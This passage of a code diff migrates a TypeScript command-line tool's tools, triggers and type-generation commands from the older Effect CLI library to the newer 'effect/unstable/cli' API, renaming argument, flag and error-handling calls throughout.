1063 : Option.match(params.userId, {
1064 onSome: value => Option.some(value),
1065 onNone: () => Option.orElse(localTestUserId, () => userContext.data.testUserId),
@@ -1182,7 +1196,7 @@ const runConnectedToolkitFailFast = (params: {
1196 successful: true,
1197 })
1198 ),
1185 - Effect.catchAll(() =>
1199 + Effect.catch(() =>
1200 perfDebugLog('execute.connected_toolkits.refresh_end', {
1201 slug: params.slug,
1202 orgId: params.resolvedProject.orgId,
@@ -1190,7 +1204,7 @@ const runConnectedToolkitFailFast = (params: {
1204 successful: false,
1205 })
1206 ),
1193 - Effect.forkDaemon,
1207 + Effect.forkDetach,
1208 Effect.asVoid
1209 );
1210
@@ -1361,7 +1375,7 @@ const runExecuteWithSpinner = (params: {
1375 slug: params.slug,
1376 arguments: params.args,
1377 },
1364 - }).pipe(Effect.catchAll(() => Effect.void));
1378 + }).pipe(Effect.catch(() => Effect.void));
1379 return;
1380 }
1381
@@ -1377,7 +1391,7 @@ const runExecuteWithSpinner = (params: {
1391 successful: false,
1392 });
1393 yield* invalidateToolInputDefinition(params.slug).pipe(
1380 - Effect.catchAll(() => Effect.void)
1394 + Effect.catch(() => Effect.void)
1395 );
1396 yield* spinner.error();
1397 const summary = yield* handleExecutionError(params.ui, error, {
@@ -1400,7 +1414,7 @@ const runExecuteWithSpinner = (params: {
1414 arguments: params.args,
1415 error: summary.error,
1416 },
1403 - }).pipe(Effect.catchAll(() => Effect.void));
1417 + }).pipe(Effect.catch(() => Effect.void));
1418 return yield* new ReportedToolExecutionError({
1419 reason: 'execution_failed',
1420 toolSlug: params.slug,
@@ -1428,9 +1442,7 @@ const runExecuteWithSpinner = (params: {
1442 }
1443
1444 if (!result.successful) {
1431 - yield* invalidateToolInputDefinition(params.slug).pipe(
1432 - Effect.catchAll(() => Effect.void)
1433 - );
1445 + yield* invalidateToolInputDefinition(params.slug).pipe(Effect.catch(() => Effect.void));
1446 const logId = result.logId
1447 ? ` (logId: ${redact({ value: result.logId, prefix: 'log_' })})`
1448 : '';
@@ -1477,7 +1489,7 @@ const runExecuteWithSpinner = (params: {
1489 tokenCount: output.summary.tokenCount,
1490 logId: result.logId,
1491 },
1480 - }).pipe(Effect.catchAll(() => Effect.void));
1492 + }).pipe(Effect.catch(() => Effect.void));
1493 return;
1494 }
1495
@@ -1492,7 +1504,7 @@ const runExecuteWithSpinner = (params: {
1504 storedInFile: false,
1505 logId: result.logId,
1506 },
1495 - }).pipe(Effect.catchAll(() => Effect.void));
1507 + }).pipe(Effect.catch(() => Effect.void));
1508 })
1509 );
1510 });
@@ -1790,8 +1802,8 @@ const checkConnectedToolkitOrFail = (params: {
1802 orgId: params.resolvedProject.orgId,
1803 consumerUserId: params.resolvedUserId,
1804 }).pipe(
1793 - Effect.catchAll(() => Effect.void),
1794 - Effect.forkDaemon,
1805 + Effect.catch(() => Effect.void),
1806 + Effect.forkDetach,
1807 Effect.asVoid
1808 );
1809
@@ -1856,7 +1868,7 @@ const runParallelSchemaFetchFromParsed = (params: ParsedParallelExecuteArgs) =>
1868 { readonly inputSchema: Record<string, unknown> }
1869 >;
1870 }).pipe(
1859 - Effect.catchAll(error =>
1871 + Effect.catch(error =>
1872 toolkitFromToolSlug(spec.slug).pipe(
1873 Effect.map(toolkit => {
1874 const mapped = mapComposioError({ error, toolkit, toolSlug: spec.slug });
@@ -2008,7 +2020,7 @@ const runParallelToolsExecuteFromParsed = (params: ParsedParallelExecuteArgs) =>
2020 ...result,
2021 };
2022 }).pipe(
2011 - Effect.catchAll(error =>
2023 + Effect.catch(error =>
2024 toolkitFromToolSlug(spec.slug).pipe(
2025 Effect.map(toolkit => {
2026 const mapped = mapComposioError({ error, toolkit, toolSlug: spec.slug });
ts/packages/cli/src/commands/tools/commands/tools.info.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -9,9 +9,9 @@ import { normalizeFileUploadSchema } from 'src/services/tool-file-uploads';
9 import { bold } from 'src/ui/colors';
10 import { commandHintExample, commandHintStep } from 'src/services/command-hints';
11
12 -const slug = Args.text({ name: 'slug' }).pipe(
13 - Args.withDescription('Tool slug (e.g. "GMAIL_SEND_EMAIL")'),
14 - Args.optional
12 +const slug = Argument.string('slug').pipe(
13 + Argument.withDescription('Tool slug (e.g. "GMAIL_SEND_EMAIL")'),
14 + Argument.optional
15 );
16
17 /**
ts/packages/cli/src/commands/tools/commands/tools.list.cmd.ts
+12 -12
@@ -1,4 +1,4 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -6,23 +6,23 @@ import { requireAuth } from 'src/effects/require-auth';
6 import { clampLimit } from 'src/ui/clamp-limit';
7 import { formatToolsTable, formatToolsJson } from '../format';
8
9 -const toolkit = Args.text({ name: 'toolkit' }).pipe(
10 - Args.withDescription('Toolkit slug to list tools for (e.g. "gmail")')
9 +const toolkit = Argument.string('toolkit').pipe(
10 + Argument.withDescription('Toolkit slug to list tools for (e.g. "gmail")')
11 );
12
13 -const query = Options.text('query').pipe(
14 - Options.withDescription('Text search by name, slug, or description'),
15 - Options.optional
13 +const query = Flag.string('query').pipe(
14 + Flag.withDescription('Text search by name, slug, or description'),
15 + Flag.optional
16 );
17
18 -const tags = Options.text('tags').pipe(
19 - Options.withDescription('Filter by tags (e.g. "important")'),
20 - Options.optional
18 +const tags = Flag.string('tags').pipe(
19 + Flag.withDescription('Filter by tags (e.g. "important")'),
20 + Flag.optional
21 );
22
23 -const limit = Options.integer('limit').pipe(
24 - Options.withDefault(30),
25 - Options.withDescription('Number of results per page (1-1000)')
23 +const limit = Flag.integer('limit').pipe(
24 + Flag.withDefault(30),
25 + Flag.withDescription('Number of results per page (1-1000)')
26 );
27
28 /**
ts/packages/cli/src/commands/tools/commands/tools.search.cmd.ts
+27 -30
@@ -1,4 +1,4 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { isLocalToolkitSlug } from '@composio/cli-local-tools';
3 import type { SessionSearchResponse } from '@composio/client/resources/tool-router';
4 import { Data, Effect, Option } from 'effect';
@@ -27,40 +27,41 @@ import {
27 getOrFetchToolInputDefinition,
28 } from 'src/services/tool-input-validation';
29
30 -const query = Args.repeated(Args.text({ name: 'query' })).pipe(
31 - Args.withDescription(
30 +const query = Argument.string('query').pipe(
31 + Argument.variadic(),
32 + Argument.withDescription(
33 'One or more semantic use-case queries (e.g. "onboard a new GitHub repo", "notify Slack").'
34 )
35 );
36
36 -const toolkits = Options.text('toolkits').pipe(
37 - Options.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail,outlook")'),
38 - Options.optional
37 +const toolkits = Flag.string('toolkits').pipe(
38 + Flag.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail,outlook")'),
39 + Flag.optional
40 );
41
41 -const userId = Options.text('user-id').pipe(
42 - Options.optional,
43 - Options.withDescription('Developer-project user ID override')
42 +const userId = Flag.string('user-id').pipe(
43 + Flag.optional,
44 + Flag.withDescription('Developer-project user ID override')
45 );
46
46 -const projectName = Options.text('project-name').pipe(
47 - Options.optional,
48 - Options.withDescription('Developer project name override for this command')
47 +const projectName = Flag.string('project-name').pipe(
48 + Flag.optional,
49 + Flag.withDescription('Developer project name override for this command')
50 );
51
51 -const limit = Options.integer('limit').pipe(
52 - Options.withDefault(10),
53 - Options.withDescription('Number of results per page (1-1000)')
52 +const limit = Flag.integer('limit').pipe(
53 + Flag.withDefault(10),
54 + Flag.withDescription('Number of results per page (1-1000)')
55 );
56
56 -const json = Options.boolean('json').pipe(
57 - Options.withDefault(false),
58 - Options.withDescription('Print the full search response as JSON (default behavior)')
57 +const json = Flag.boolean('json').pipe(
58 + Flag.withDefault(false),
59 + Flag.withDescription('Print the full search response as JSON (default behavior)')
60 );
61
61 -const human = Options.boolean('human').pipe(
62 - Options.withDefault(false),
63 - Options.withDescription('Show formatted human-readable search output')
62 +const human = Flag.boolean('human').pipe(
63 + Flag.withDefault(false),
64 + Flag.withDescription('Show formatted human-readable search output')
65 );
66
67 type SearchToolSchema = SessionSearchResponse.ToolSchemas;
@@ -95,8 +96,7 @@ const stripSearchResultMetadata = <
96
97 const TOOL_SCHEMA_PATH_FORMAT = '~/.composio/tool_definitions/<TOOL_SLUG>.json';
98
98 -const isRemoteCustomToolSlug = (slug: string): boolean =>
99 - slug.toUpperCase().startsWith('CUSTOM_');
99 +const isRemoteCustomToolSlug = (slug: string): boolean => slug.toUpperCase().startsWith('CUSTOM_');
100
101 const toHomeRelativePath = (cacheDir: string, absolutePath: string) =>
102 absolutePath.startsWith(cacheDir) ? absolutePath.replace(cacheDir, '~/.composio') : absolutePath;
@@ -216,7 +216,7 @@ const buildSearchJsonPayload = (params: {
216 orgId: params.cacheScope.orgId,
217 consumerUserId: params.cacheScope.consumerUserId,
218 toolkits: connectedToolkits,
219 - }).pipe(Effect.catchAll(() => Effect.void));
219 + }).pipe(Effect.catch(() => Effect.void));
220 }
221
222 return {
@@ -338,7 +338,7 @@ const runToolsSearch = (params: {
338 }).pipe(Effect.mapError(formatResolveCommandProjectError));
339 const resolvedUserId =
340 resolvedProject.projectType === 'CONSUMER'
341 - ? Option.fromNullable(resolvedProject.consumerUserId)
341 + ? Option.fromNullishOr(resolvedProject.consumerUserId)
342 : Option.match(params.userId, {
343 onSome: value => Option.some(value),
344 onNone: () => userContext.data.testUserId,
@@ -389,10 +389,7 @@ const runToolsSearch = (params: {
389 }),
390 });
391 const customToolSlugsMissingSchemas = Object.entries(searchResponse.tool_schemas)
392 - .filter(
393 - ([slug, schema]) =>
394 - isRemoteCustomToolSlug(slug) && !schema.input_schema
395 - )
392 + .filter(([slug, schema]) => isRemoteCustomToolSlug(slug) && !schema.input_schema)
393 .map(([slug]) => slug);
394 const hydratedSearchResponse =
395 customToolSlugsMissingSchemas.length === 0
@@ -520,7 +517,7 @@ const runToolsSearch = (params: {
517 toolRouterSessionId: searchResult.historyScope?.toolRouterSessionId,
518 nextSteps: searchResponse.next_steps_guidance,
519 },
523 - }).pipe(Effect.catchAll(() => Effect.void));
520 + }).pipe(Effect.catch(() => Effect.void));
521
522 if (emitHuman) {
523 yield* emitHumanSearchOutput({
ts/packages/cli/src/commands/tools/tools.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { toolsCmd$List } from './commands/tools.list.cmd';
3 import { toolsCmd$Info } from './commands/tools.info.cmd';
4
ts/packages/cli/src/commands/triggers/commands/triggers.create.cmd.ts
+14 -14
@@ -1,24 +1,24 @@
1 -import { Args, Command, Options } from '@effect/cli';
2 -import { Effect, Either, Option } from 'effect';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 +import { Effect, Option, Result } from 'effect';
3 import { parseJsonRecord } from 'src/utils/parse-json';
4 import { requireAuth } from 'src/effects/require-auth';
5 import { handleHttpServerError } from 'src/effects/handle-http-error';
6 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
7 import { TerminalUI } from 'src/services/terminal-ui';
8
9 -const triggerName = Args.text({ name: 'trigger-name' }).pipe(
10 - Args.withDescription('Trigger slug (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'),
11 - Args.optional
9 +const triggerName = Argument.string('trigger-name').pipe(
10 + Argument.withDescription('Trigger slug (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'),
11 + Argument.optional
12 );
13
14 -const connectedAccountId = Options.text('connected-account-id').pipe(
15 - Options.withDescription('Connected account ID (nanoid)'),
16 - Options.optional
14 +const connectedAccountId = Flag.string('connected-account-id').pipe(
15 + Flag.withDescription('Connected account ID (nanoid)'),
16 + Flag.optional
17 );
18
19 -const triggerConfig = Options.text('trigger-config').pipe(
20 - Options.withDescription('Trigger config as JSON string'),
21 - Options.optional
19 +const triggerConfig = Flag.string('trigger-config').pipe(
20 + Flag.withDescription('Trigger config as JSON string'),
21 + Flag.optional
22 );
23
24 /**
@@ -45,8 +45,8 @@ export const triggersCmd$Create = Command.make(
45 let parsedTriggerConfig: Record<string, unknown> | undefined;
46 if (Option.isSome(triggerConfig)) {
47 const parsed = parseJsonRecord(triggerConfig.value);
48 - if (Either.isLeft(parsed)) {
49 - if (parsed.left.reason === 'not-a-record') {
48 + if (Result.isFailure(parsed)) {
49 + if (parsed.failure.reason === 'not-a-record') {
50 yield* ui.log.error(
51 '--trigger-config must be a JSON object (e.g. \'{"key":"value"}\').'
52 );
@@ -58,7 +58,7 @@ export const triggersCmd$Create = Command.make(
58 }
59 return;
60 }
61 - parsedTriggerConfig = parsed.right;
61 + parsedTriggerConfig = parsed.success;
62 }
63
64 const createdOpt = yield* ui
ts/packages/cli/src/commands/triggers/commands/triggers.disable.cmd.ts
+4 -4
@@ -1,13 +1,13 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { handleHttpServerError } from 'src/effects/handle-http-error';
5 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
6 import { TerminalUI } from 'src/services/terminal-ui';
7
8 -const id = Args.text({ name: 'id' }).pipe(
9 - Args.withDescription('Trigger instance ID'),
10 - Args.optional
8 +const id = Argument.string('id').pipe(
9 + Argument.withDescription('Trigger instance ID'),
10 + Argument.optional
11 );
12
13 /**
ts/packages/cli/src/commands/triggers/commands/triggers.enable.cmd.ts
+4 -4
@@ -1,13 +1,13 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { handleHttpServerError } from 'src/effects/handle-http-error';
5 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
6 import { TerminalUI } from 'src/services/terminal-ui';
7
8 -const id = Args.text({ name: 'id' }).pipe(
9 - Args.withDescription('Trigger instance ID'),
10 - Args.optional
8 +const id = Argument.string('id').pipe(
9 + Argument.withDescription('Trigger instance ID'),
10 + Argument.optional
11 );
12
13 /**
ts/packages/cli/src/commands/triggers/commands/triggers.info.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Args, Command } from '@effect/cli';
1 +import { Argument, Command } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { handleHttpServerError } from 'src/effects/handle-http-error';
@@ -12,9 +12,9 @@ type TriggersInfoCommandConfig = {
12 readonly listCommandPlaceholder: string;
13 };
14
15 -const slug = Args.text({ name: 'slug' }).pipe(
16 - Args.withDescription('Trigger slug (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'),
17 - Args.optional
15 +const slug = Argument.string('slug').pipe(
16 + Argument.withDescription('Trigger slug (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'),
17 + Argument.optional
18 );
19
20 /**
ts/packages/cli/src/commands/triggers/commands/triggers.list.cmd.ts
+14 -13
@@ -1,5 +1,5 @@
1 -import { Args, Command, HelpDoc, Options, ValidationError } from '@effect/cli';
2 -import { Effect } from 'effect';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 +import { Data, Effect } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
5 import { TerminalUI } from 'src/services/terminal-ui';
@@ -11,13 +11,17 @@ type TriggersListCommandConfig = {
11 readonly infoCommand: string;
12 };
13
14 -const toolkit = Args.text({ name: 'toolkit' }).pipe(
15 - Args.withDescription('Toolkit slug to list trigger types for (e.g. "gmail")')
14 +class TriggersListOptionError extends Data.TaggedError('commands/TriggersListOptionError')<{
15 + readonly message: string;
16 +}> {}
17 +
18 +const toolkit = Argument.string('toolkit').pipe(
19 + Argument.withDescription('Toolkit slug to list trigger types for (e.g. "gmail")')
20 );
21
18 -const limit = Options.integer('limit').pipe(
19 - Options.withDefault(30),
20 - Options.withDescription('Maximum number of trigger types to show (1-1000)')
22 +const limit = Flag.integer('limit').pipe(
23 + Flag.withDefault(30),
24 + Flag.withDescription('Maximum number of trigger types to show (1-1000)')
25 );
26
27 /**
@@ -42,14 +46,11 @@ const makeTriggersListCommand = ({ noResultsCommand, infoCommand }: TriggersList
46 Effect.catchTag('services/InvalidToolkitsError', error =>
47 Effect.gen(function* () {
48 const availableExample = error.availableToolkits.slice(0, 8).join(', ');
45 - yield* ui.log.error(
46 - `Toolkit "${toolkit}" is not available. ${availableExample ? `Examples: ${availableExample}` : ''}`
47 - );
49 yield* ui.log.step(`List valid toolkits with:\n> ${noResultsCommand}`);
50 return yield* Effect.fail(
50 - ValidationError.invalidValue(
51 - HelpDoc.p(`Invalid toolkit slug "${toolkit}" for trigger listing.`)
52 - )
51 + new TriggersListOptionError({
52 + message: `Toolkit "${toolkit}" is not available. ${availableExample ? `Examples: ${availableExample}` : ''}`,
53 + })
54 );
55 })
56 )
ts/packages/cli/src/commands/triggers/commands/triggers.listen.cmd.ts
+38 -42
@@ -1,7 +1,7 @@
1 -import { Command, Options } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import { Deferred, Effect, Option, Runtime } from 'effect';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 +import * as FileSystem from 'effect/FileSystem';
3 +import * as Path from 'effect/Path';
4 +import { Deferred, Effect, Option } from 'effect';
5 import { APP_CONFIG } from 'src/effects/app-config';
6 import { requireAuth } from 'src/effects/require-auth';
7 import { TerminalUI } from 'src/services/terminal-ui';
@@ -20,62 +20,58 @@ import {
20 formatResolveCommandProjectError,
21 } from 'src/services/command-project';
22
23 -const toolkits = Options.text('toolkits').pipe(
24 - Options.withDescription(
25 - 'Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'
26 - ),
27 - Options.optional
23 +const toolkits = Flag.string('toolkits').pipe(
24 + Flag.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'),
25 + Flag.optional
26 );
27
30 -const triggerId = Options.text('trigger-id').pipe(
31 - Options.withDescription('Filter by trigger id'),
32 - Options.optional
28 +const triggerId = Flag.string('trigger-id').pipe(
29 + Flag.withDescription('Filter by trigger id'),
30 + Flag.optional
31 );
32
35 -const connectedAccountId = Options.text('connected-account-id').pipe(
36 - Options.withDescription('Filter by connected account id'),
37 - Options.optional
33 +const connectedAccountId = Flag.string('connected-account-id').pipe(
34 + Flag.withDescription('Filter by connected account id'),
35 + Flag.optional
36 );
37
40 -const triggerSlug = Options.text('trigger-slug').pipe(
41 - Options.withDescription(
42 - 'Filter by trigger slug, comma-separated (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'
43 - ),
44 - Options.optional
38 +const triggerSlug = Flag.string('trigger-slug').pipe(
39 + Flag.withDescription('Filter by trigger slug, comma-separated (e.g. "GMAIL_NEW_GMAIL_MESSAGE")'),
40 + Flag.optional
41 );
42
47 -const userId = Options.text('user-id').pipe(
48 - Options.withDescription('Filter by user id'),
49 - Options.optional
43 +const userId = Flag.string('user-id').pipe(
44 + Flag.withDescription('Filter by user id'),
45 + Flag.optional
46 );
47
52 -const json = Options.boolean('json').pipe(
53 - Options.withDefault(false),
54 - Options.withDescription('Show raw event payload as JSON in interactive mode')
48 +const json = Flag.boolean('json').pipe(
49 + Flag.withDefault(false),
50 + Flag.withDescription('Show raw event payload as JSON in interactive mode')
51 );
52
57 -const table = Options.boolean('table').pipe(
58 - Options.withDefault(false),
59 - Options.withDescription(
53 +const table = Flag.boolean('table').pipe(
54 + Flag.withDefault(false),
55 + Flag.withDescription(
56 'Show compact table rows: timestamp, trigger_id, trigger_slug, toolkit, user_id, connected_account_id'
57 )
58 );
59
64 -const maxEvents = Options.integer('max-events').pipe(
65 - Options.withDescription('Stop after receiving N matching events'),
66 - Options.optional
60 +const maxEvents = Flag.integer('max-events').pipe(
61 + Flag.withDescription('Stop after receiving N matching events'),
62 + Flag.optional
63 );
64
69 -const forward = Options.text('forward').pipe(
70 - Options.withDescription(
65 +const forward = Flag.string('forward').pipe(
66 + Flag.withDescription(
67 'Forward each matching event to the given URL (signed with COMPOSIO_WEBHOOK_SECRET)'
68 ),
73 - Options.optional
69 + Flag.optional
70 );
71
76 -const out = Options.text('out').pipe(
77 - Options.withDescription('Append each matching event to this file'),
78 - Options.optional
72 +const out = Flag.string('out').pipe(
73 + Flag.withDescription('Append each matching event to this file'),
74 + Flag.optional
75 );
76
77 const randomUUID = () => crypto.randomUUID();
@@ -183,7 +179,7 @@ export const triggersCmd$Listen = Command.make(
179 const fs = yield* FileSystem.FileSystem;
180 const path = yield* Path.Path;
181 const realtime = yield* TriggersRealtime;
186 - const runtime = yield* Effect.runtime<never>();
182 + const services = yield* Effect.context<never>();
183 const forwardUrl = Option.getOrUndefined(forward);
184 const generatedWebhookSecret = `composio-forward-secret-${randomUUID()}`;
185 const configuredWebhookSecret = yield* APP_CONFIG.WEBHOOK_SECRET;
@@ -238,7 +234,7 @@ export const triggersCmd$Listen = Command.make(
234 }
235
236 const onEvent = (eventData: Record<string, unknown>) => {
241 - Runtime.runFork(runtime)(
237 + Effect.runForkWith(services)(
238 Effect.gen(function* () {
239 const parsed = parseTriggerListenEvent(eventData);
240 if (!matchesTriggerListenFilters(filters, parsed)) {
@@ -277,7 +273,7 @@ export const triggersCmd$Listen = Command.make(
273 if (outputFilePath) {
274 yield* fs
275 .writeFileString(outputFilePath, logLine, { flag: 'a' })
280 - .pipe(Effect.catchAll(error => ui.log.warn(String(error))));
276 + .pipe(Effect.catch(error => ui.log.warn(String(error))));
277 }
278
279 if (forwardUrl && webhookSecret) {
@@ -319,7 +315,7 @@ export const triggersCmd$Listen = Command.make(
315 catch: error =>
316 new Error(`Failed forwarding event to ${forwardUrl}: ${String(error)}`),
317 });
322 - }).pipe(Effect.catchAll(error => ui.log.warn(String(error))));
318 + }).pipe(Effect.catch(error => ui.log.warn(String(error))));
319 }
320
321 if (maxEventsLimit !== undefined && matchingEvents >= maxEventsLimit) {
ts/packages/cli/src/commands/triggers/commands/triggers.status.cmd.ts
+22 -24
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { handleHttpServerError } from 'src/effects/handle-http-error';
4 import { requireAuth } from 'src/effects/require-auth';
@@ -12,43 +12,41 @@ import {
12 } from '../format';
13 import { parseCsv } from '../parse-csv';
14
15 -const userIds = Options.text('user-ids').pipe(
16 - Options.withDescription('Filter by user IDs, comma-separated'),
17 - Options.optional
15 +const userIds = Flag.string('user-ids').pipe(
16 + Flag.withDescription('Filter by user IDs, comma-separated'),
17 + Flag.optional
18 );
19
20 -const connectedAccountIds = Options.text('connected-account-ids').pipe(
21 - Options.withDescription('Filter by connected account IDs, comma-separated'),
22 - Options.optional
20 +const connectedAccountIds = Flag.string('connected-account-ids').pipe(
21 + Flag.withDescription('Filter by connected account IDs, comma-separated'),
22 + Flag.optional
23 );
24
25 -const toolkits = Options.text('toolkits').pipe(
26 - Options.withDescription(
27 - 'Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'
28 - ),
29 - Options.optional
25 +const toolkits = Flag.string('toolkits').pipe(
26 + Flag.withDescription('Filter by toolkit slugs, comma-separated (e.g. "gmail" or "gmail,slack")'),
27 + Flag.optional
28 );
29
32 -const triggerIds = Options.text('trigger-ids').pipe(
33 - Options.withDescription('Filter by trigger instance IDs, comma-separated'),
34 - Options.optional
30 +const triggerIds = Flag.string('trigger-ids').pipe(
31 + Flag.withDescription('Filter by trigger instance IDs, comma-separated'),
32 + Flag.optional
33 );
34
37 -const triggerNames = Options.text('trigger-names').pipe(
38 - Options.withDescription(
35 +const triggerNames = Flag.string('trigger-names').pipe(
36 + Flag.withDescription(
37 'Filter by trigger names, comma-separated (case-insensitive; normalized to uppercase)'
38 ),
41 - Options.optional
39 + Flag.optional
40 );
41
44 -const showDisabled = Options.boolean('show-disabled').pipe(
45 - Options.withDefault(false),
46 - Options.withDescription('Include disabled triggers in the response')
42 +const showDisabled = Flag.boolean('show-disabled').pipe(
43 + Flag.withDefault(false),
44 + Flag.withDescription('Include disabled triggers in the response')
45 );
46
49 -const limit = Options.integer('limit').pipe(
50 - Options.withDefault(30),
51 - Options.withDescription('Number of results per page (1-1000)')
47 +const limit = Flag.integer('limit').pipe(
48 + Flag.withDefault(30),
49 + Flag.withDescription('Number of results per page (1-1000)')
50 );
51
52 const csvOption = (opt: Option.Option<string>): string[] | undefined =>
ts/packages/cli/src/commands/triggers/root-triggers.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { rootTriggersCmd$Info } from './commands/triggers.info.cmd';
3 import { rootTriggersCmd$List } from './commands/triggers.list.cmd';
4
ts/packages/cli/src/commands/triggers/triggers.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { triggersCmd$Info } from './commands/triggers.info.cmd';
3 import { triggersCmd$List } from './commands/triggers.list.cmd';
4 import { triggersCmd$Status } from './commands/triggers.status.cmd';
ts/packages/cli/src/commands/ts/commands/ts.generate.cmd.ts
+29 -27
@@ -15,11 +15,11 @@
15 * and stored along with the generated TypeScript files. CJS is not supported.
16 */
17
18 -import { Command, HelpDoc, Options, ValidationError } from '@effect/cli';
18 +import { Command, Flag } from 'effect/unstable/cli';
19 import { Array, Data, Effect, Option, pipe } from 'effect';
20 +import * as FileSystem from 'effect/FileSystem';
21 +import * as Path from 'effect/Path';
22 import { Match } from 'effect';
21 -import * as FileSystem from '@effect/platform/FileSystem';
22 -import * as Path from '@effect/platform/Path';
23 import {
24 ComposioToolkitsRepository,
25 type ComposioToolkitsRepositoryShape,
@@ -52,37 +52,39 @@ export class TypeScriptGenerationWriteError extends Data.TaggedError(
52 readonly message: string;
53 }> {}
54
55 -const invalidGenerateValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
55 +export class TypeScriptGenerationInputError extends Data.TaggedError(
56 + 'commands/TypeScriptGenerationInputError'
57 +)<{
58 + readonly message: string;
59 +}> {}
60 +
61 +const invalidGenerateValue = (message: string) => new TypeScriptGenerationInputError({ message });
62
57 -export const outputOpt = Options.optional(
58 - Options.directory('output-dir', {
59 - exists: 'either',
60 - })
61 -).pipe(
62 - Options.withAlias('o'),
63 - Options.withDescription('Output directory for the generated TypeScript type stubs.')
63 +export const outputOpt = Flag.optional(Flag.directory('output-dir')).pipe(
64 + Flag.withAlias('o'),
65 + Flag.withDescription('Output directory for the generated TypeScript type stubs.')
66 );
67
66 -export const compact = Options.boolean('compact').pipe(
67 - Options.withDefault(false),
68 - Options.withDescription('Emit a single TypeScript file')
68 +export const compact = Flag.boolean('compact').pipe(
69 + Flag.withDefault(false),
70 + Flag.withDescription('Emit a single TypeScript file')
71 );
72
71 -export const transpiled = Options.boolean('transpiled').pipe(
72 - Options.withDefault(false),
73 - Options.withDescription('Whether to emit transpiled JavaScript alongside TypeScript files')
73 +export const transpiled = Flag.boolean('transpiled').pipe(
74 + Flag.withDefault(false),
75 + Flag.withDescription('Whether to emit transpiled JavaScript alongside TypeScript files')
76 );
77
76 -export const typeTools = Options.boolean('type-tools').pipe(
77 - Options.withDefault(false),
78 - Options.withDescription(
78 +export const typeTools = Flag.boolean('type-tools').pipe(
79 + Flag.withDefault(false),
80 + Flag.withDescription(
81 'Generate typed input/output schemas for each tool (slower, fetches full tool definitions)'
82 )
83 );
84
83 -export const toolkitsOpt = Options.text('toolkits').pipe(
84 - Options.repeated,
85 - Options.withDescription(
85 +export const toolkitsOpt = Flag.string('toolkits').pipe(
86 + Flag.atLeast(0),
87 + Flag.withDescription(
88 'Only generate types for specific toolkits (e.g., --toolkits gmail --toolkits slack)'
89 )
90 );
@@ -124,7 +126,7 @@ function fetchFilteredData(
126 typeTools: boolean,
127 versionOverrides: ToolkitVersionOverrides,
128 spinner: SpinnerHandle
127 -): Effect.Effect<FetchResult, Error | ValidationError.ValidationError, never> {
129 +): Effect.Effect<FetchResult, Error | TypeScriptGenerationInputError, never> {
130 return Effect.gen(function* () {
131 yield* spinner.message(`Fetching data for ${slugs.length} toolkit(s): ${slugs.join(', ')}...`);
132
@@ -330,7 +332,7 @@ function fetchAllData(
332 */
333 function validateOutputDir(
334 outputDir: string
333 -): Effect.Effect<string, ValidationError.ValidationError, Path.Path> {
335 +): Effect.Effect<string, TypeScriptGenerationInputError, Path.Path> {
336 return Effect.gen(function* () {
337 const path = yield* Path.Path;
338 const normalizedPath = path.normalize(outputDir);
@@ -397,7 +399,7 @@ export function generateTypescriptTypeStubs({
399 const versionOverrides = yield* getToolkitVersionOverrides;
400
401 // Normalize toolkit slugs if specified (lowercase for API filtering)
400 - const toolkitSlugsFilter = Array.isNonEmptyArray(toolkitsOpt)
402 + const toolkitSlugsFilter = Array.isReadonlyArrayNonEmpty(toolkitsOpt)
403 ? toolkitsOpt.map(s => s.toLowerCase())
404 : null;
405
@@ -454,7 +456,7 @@ export function generateTypescriptTypeStubs({
456 yield* spinner.message('Transpiling to JavaScript...');
457 yield* pipe(
458 transpileTypeScriptSources({ sources, outputDir }),
